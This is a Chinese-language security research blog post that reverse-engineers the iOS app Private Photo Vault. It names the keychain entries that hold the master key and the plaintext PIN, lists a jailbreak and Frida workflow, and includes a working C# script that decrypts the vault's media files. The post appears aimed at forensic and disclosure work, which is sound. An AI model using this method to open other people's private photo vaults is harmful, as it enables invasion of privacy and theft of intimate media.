iOS逆向工程揭秘:Photo Vault应用加密漏洞分析

本文详细分析了iOS平台Photo Vault应用的安全机制,通过逆向工程揭示其加密漏洞,包含密钥存储位置、解密流程和实际攻击代码实现,展示了如何从加密容器中提取媒体文件。

Photo Vault应用在2021年仍可被攻破?一次iOS逆向工程之旅

更新记录

2021/08/22更新:根据读者提示,PPV iOS在最近更新(2021年8月初 - 版本11.9)中做出了重大改变。阅读发布说明并进行自己的测试后,我发现了一些新情况并希望讨论其影响。

总结 很高兴看到几乎所有改动都提升了PPV用户的安全性。唯一让我担忧的是基于云的备份功能,我将在后文详细讨论。

  • 暴力破解PIN码仍然可能,但由于密钥空间增大,所需时间增加了
  • 通过逆向工程努力,仍然可以解密媒体,特别是如果你知道PIN码或能访问解密的钥匙串
  • 对于在此版本之前使用PPV的用户,我怀疑应用将继续使用旧方法,以避免重新加密所有媒体

数据库位置已改变,现在已加密 数据库现在位于先前位置的上层目录,扩展名为".ecd"(Encrypted Core Data的缩写)。尽管如此,它仍然完全兼容像DB Browser for SQLCipher这样的SQLCipher查看工具。

媒体项目现在使用每个项目的唯一密钥进行保护 从安全角度看,这并没有太大改变,因为你仍然只需要1个密钥(SQLCipher密钥)就能访问数据库。但这增加了额外步骤,更符合一些大型应用的做法(如Snapchat)。

数字密码现在最多可长达8位 这是应用安全性的一个早该实现的提升。4位数字密钥空间,即使有相当强大的KDF支持,也几乎总是容易受到暴力攻击。

现在提供"云备份"选项(需付费) 完整披露:我尚未调查此功能。这些意见基于适用于任何具有此类功能的保险库应用的通用概念。

更新 2020/01/29

我对此应用进行了更多工作,找到了无需钥匙串访问即可暴力破解PIN码的方法。我还创建了基于Python的解密器脚本(而不是本文附带的C#脚本)。

原始文章

我决定不强迫自己制作内容,而是等到有真正想写的东西。本文更侧重于我的研究成果,不过多讨论我是如何达到这些结果的。

为什么特别针对这个应用?

com.enchantedcloud.photovault或"Private Photo Vault"(以下简称PPV)之前一直是安全研究的主题。2015年11月,Michael Allen在IOActive发布了详细分析,发现该应用实际上没有加密任何内容!

关键要点

你是否认为这个应用安全,取决于你对各种提取方法的访问权限。

  • PPV使用RNCryptor,这是一个在ObjectiveC、C#、JS等中都有实现的加密库
  • 主密钥存储在钥匙串中的"ppv_DateHash"下
  • 明文PIN码(最多4位)也存储在钥匙串中,作为"ppv_uuidHash1"
  • 每个加密媒体文件基本上都是一个容器

基本流程/使用的工具

  1. 定位并越狱测试iOS设备
  2. 通过Cydia Impactor侧载安装PPV(应用商店也可以)
  3. 使用ITNL(iTunnel)通过USB设置访问并通过SSH获得设备root访问权限
  4. 在设备上安装并验证frida-server的操作
  5. 使用AloneMonkey的frida-ios-dump获取目标应用的解密二进制文件
  6. 使用Hopper对解密二进制文件进行静态分析
  7. 使用Frida和ObjC Method Observer监听特定类的iOS方法调用
  8. 在Hopper和Frida控制台之间来回切换,直到对情况有了很好的了解
  9. 研究RNCryptor-objc github仓库,了解这个AES包装器的工作原理
  10. 使用出色的LINQpad在C#中开发PoC,在给定keychain.plist的情况下解密PPV_Photos中的媒体

解密概念验证

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
void Main()
{
  // 用户配置要求 --------------------------------->
  
    // 输入目录应指向所有加密媒体所在的PPV沙盒
    var pathToEncryptedFiles = @"c:\ppvtest\335CE0B0-..-B521433DD5D2\Library\PPV_Pics";
    
    // 解密媒体输出位置
    var decryptFilesTo = @"c:\ppvtest\out\";
  
    // 来自keychain.plist -- genp键为"ppv_dateHash"
    var aesKeyb64 = "mUAf0A6QF+DOoo...7tbZuqw2ImuRAkql0mY0zM=";

  // 结束用户配置要求 !!!
  
  Directory.CreateDirectory(decryptFilesTo);

  
  // 从base64字符串转换为byte[]
  var aesKey = Convert.FromBase64String(aesKeyb64);
  
  // 遍历PPV_Pics文件夹中的加密文件
  foreach (var item in Directory.GetFiles(pathToEncryptedFiles))
  {
    var inputData = File.ReadAllBytes(item);
    // IV位于偏移量0x2处,长度为16字节
    var iv = inputData.Skip(2).Take(16).ToArray();
    
    // 我们的头长度为18字节(0x0表示版本,0x1表示选项,0x2表示16字节IV)
    var headerLength = 18;
    
    // 密码文本是其余部分,减去用于HMAC内容的32字节
    var cipherText = inputData.Skip(headerLength).Take(inputData.Length - headerLength - 32).ToArray();
    
    File.WriteAllBytes(decryptFilesTo + new FileInfo(item).Name, decryptAesCbcPkcs7(cipherText, aesKey, iv));
  }
}

// 借用自Rob Napier的RNCryptor-cs
// https://github.com/RNCryptor/RNCryptor-cs
private byte[] decryptAesCbcPkcs7(byte[] encrypted, byte[] key, byte[] iv)
{
  var aes = Aes.Create();
  aes.Mode = CipherMode.CBC;
  aes.Padding = PaddingMode.PKCS7;
  var decryptor = aes.CreateDecryptor(key, iv);

  byte[] plainBytes;
  using (MemoryStream msDecrypt = new MemoryStream())
  {
    using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Write))
    {
      csDecrypt.Write(encrypted, 0, encrypted.Length);
      csDecrypt.FlushFinalBlock();
      plainBytes = msDecrypt.ToArray();
    }
  }

  return plainBytes;
}

致谢

我要感谢以下人员对此研究项目的帮助:

  • Grayshift的Braden Thomas(@drspringfield)
  • Ivan Rodriguez(@ivRodriguezCA)
  • DFIR Discord的@karate(Magnus RC3 Sweden)(@may_pol17)
  • Cellebrite的Or Begam(@shloophen)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计